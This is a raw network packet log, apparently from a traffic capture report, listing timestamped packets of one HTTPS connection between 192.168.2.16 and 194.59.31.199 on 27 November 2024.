                                                                                                              Nov 27, 2024 16:54:09.315074921 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.315110922 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.315356970 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.315382957 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.315438986 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.321813107 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.321835995 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.321918011 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.321923018 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.321966887 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.328305960 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.328325033 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.328396082 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.328401089 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.328438997 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.335041046 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.335062027 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.335191965 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.335196972 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.335244894 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.340985060 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.341006994 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.341118097 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.341124058 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.341178894 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.347397089 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.347421885 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.347506046 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.347512007 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.347556114 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.353724957 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.353741884 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.353821039 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.353827953 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.353868008 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.360302925 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.360322952 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.360400915 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.360407114 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.360450983 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.518192053 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.518224001 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.518383026 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.518421888 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.518467903 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.524009943 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.524035931 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.524164915 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.524179935 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.524225950 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.530776978 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.530802965 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.530896902 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.530910969 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.530946016 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.537332058 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.537349939 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.537424088 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.537436962 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.537472963 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.543504953 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.543525934 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.543616056 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.543626070 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.543668032 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.550333023 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.550359011 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.550446033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.550453901 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.550493956 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.556118011 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.556145906 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.556196928 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.556205988 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.556372881 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.562613964 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.562633038 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.562798977 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.562805891 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.562855005 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.719175100 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.719244003 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.719288111 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.719321966 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.719364882 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.719825983 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.725145102 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.725198030 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.727058887 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.727080107 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.727152109 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.731534958 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.731585979 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.731643915 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.731663942 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.731683016 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.731705904 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.738198996 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.738246918 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.738296986 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.738317013 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.738332033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.738362074 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.744061947 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.744118929 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.744174004 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.744194031 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.744221926 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.744246006 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.751298904 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.751362085 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.751411915 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.751432896 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.751457930 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.751478910 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.757247925 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.757291079 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.757333994 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.757339954 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.757373095 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.757402897 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.763458967 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.763505936 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.763549089 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.763554096 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.763581991 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.763602018 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.920459986 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.920484066 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.920582056 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.920608044 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.920649052 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.926459074 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.926476002 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.926546097 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.926562071 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.926603079 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.933062077 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.933075905 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.933141947 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.933160067 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.933197975 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.939546108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.939562082 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.939636946 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.939640999 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.939675093 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.945595980 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.945624113 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.945693016 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.945698023 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.945722103 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.945740938 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.952761889 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.952802896 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.952867031 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.952871084 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.952907085 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.952924967 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.958367109 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.958411932 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.958446026 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.958450079 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.958508015 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.958518028 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.965326071 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.965369940 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.965413094 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.965429068 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.965456009 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.965472937 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.121875048 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.121901989 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.122003078 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.122028112 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.122070074 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.127701044 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.127717972 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.127787113 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.127804995 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.127851963 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.134843111 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.134859085 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.134927034 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.134944916 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.134988070 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.140945911 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.140961885 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.141028881 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.141046047 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.141098022 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.148578882 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.148597002 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.148674965 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.148685932 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.148730993 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.154578924 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.154606104 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.154656887 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.154659986 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.154694080 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.160602093 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.160619020 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.160682917 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.160686016 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.160732031 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.166812897 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.166834116 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.166891098 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.166896105 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.166930914 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.323621988 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.323704958 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.323746920 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.323776007 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.323788881 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.323822021 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.329751015 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.329804897 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.329832077 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.329837084 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.329875946 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.329894066 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.336014986 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.336070061 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.336133003 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.336142063 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.336198092 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.342792034 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.342847109 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.342869997 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.342890978 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.342920065 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.342936993 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.349232912 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.349280119 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.349318981 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.349325895 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.349364042 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.349387884 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.355523109 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.355577946 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.355607033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.355612993 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.355653048 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.355669975 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.361287117 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.361334085 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.361357927 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.361362934 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.361414909 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.519717932 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.519787073 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.519848108 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.519885063 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.519906998 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.519936085 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.524847984 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.524904966 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.524935961 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.524945021 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.524974108 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.524996996 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.531363964 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.531410933 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.531446934 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.531456947 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.531486988 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.531512022 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.537120104 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.537167072 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.537209034 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.537220001 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.537246943 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.537271023 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.544369936 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.544420004 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.544459105 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.544466019 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.544496059 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.544523001 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.550906897 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.550955057 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.550995111 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.551004887 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.551033974 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.551059961 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.557226896 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.557272911 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.557316065 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.557322979 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.557348967 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.557375908 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.563294888 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.563359976 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.563385963 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.563393116 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.563422918 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.563448906 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.721076012 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.721143007 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.721259117 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.721290112 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.721308947 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.721345901 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.726653099 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.726708889 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.726830006 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.726836920 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.726885080 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.732903004 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.732920885 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.732986927 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.732994080 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.733045101 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.738862038 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.738883018 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:10.738945007 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:10.738951921 CET44349724194.59.31.199192.168.2.16
